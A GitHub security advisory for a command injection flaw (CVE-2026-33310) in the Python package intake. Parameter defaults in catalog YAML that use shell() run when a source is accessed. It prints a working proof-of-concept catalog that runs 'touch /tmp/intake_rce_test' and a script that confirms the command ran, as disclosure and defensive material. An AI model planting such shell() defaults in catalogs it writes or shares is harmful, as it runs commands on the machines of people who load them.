Skip to content

Intake has a Command Injection via shell() Expansion in Parameter Defaults

High severity GitHub Reviewed Published Mar 18, 2026 in intake/intake • Updated Mar 19, 2026

Package

pip intake (pip)

Affected versions

<= 2.0.9

Patched versions

None

Description

Summary

The shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process.
If a catalog contains a parameter default such as shell(), the command may be executed when the catalog source is accessed.
This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system.
This behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion.

Details

The issue appears to originate from how parameter default values are expanded when a catalog source is accessed.

During catalog loading and source access:

Intake resolves parameter default values
The function responsible for expanding defaults processes the shell() syntax
The shell expression triggers a subprocess execution
Because this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself.

Affected logic appears to involve:

expand_defaults()

and related parameter parsing mechanisms.

PoC

exploit.yaml

metadata:
  version: 1
sources:
  rce_test:
    driver: csv
    description: "Testing shell expansion in parameters"
    args:
      urlpath: "{{ cmd_exec }}"
    parameters:
      cmd_exec:
        display_name: "Test Parameter"
        type: str
        default: "shell(touch /tmp/intake_rce_test)"

reproduce.py

import intake
import os

PROOF_FILE = "/tmp/intake_rce_test"

if os.path.exists(PROOF_FILE):
    os.remove(PROOF_FILE)

print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")

try:
    cat = intake.open_catalog("exploit.yaml")

    print("Accessing source...")
    _ = cat["rce_test"]

except Exception as e:
    print(f" Error during execution: {e}")

if os.path.exists(PROOF_FILE):
    print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
    print("Command execution did not occur.")

Attack Scenario

A potential attack scenario could be:

  1. An attacker publishes a malicious Intake catalog YAML file
  2. The victim downloads or loads the catalog
  3. The victim accesses a source entry in the catalog
  4. Parameter defaults are expanded
  5. The shell() expression triggers execution of the embedded command

Impact

If this behavior is confirmed to be unintended, an attacker could distribute a malicious catalog file via:

  • Git repositories
  • shared datasets
  • URLs
  • data science workflows
  • Any user loading the catalog could unknowingly execute commands with their local user privileges.

Recommendation

Possible mitigations could include:

  • disabling shell() expansion by default
  • requiring an explicit opt-in flag (e.g., allow_shell=True)
  • restricting shell execution for catalogs loaded from untrusted sources
    Please let me know if additional information or testing is needed.
    I'm happy to assist with further analysis or validation.

References

@martindurant martindurant published to intake/intake Mar 18, 2026
Published to the GitHub Advisory Database Mar 19, 2026
Reviewed Mar 19, 2026
Last updated Mar 19, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

CVE-2026-33310

GHSA ID

GHSA-37g4-qqqv-7m99

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.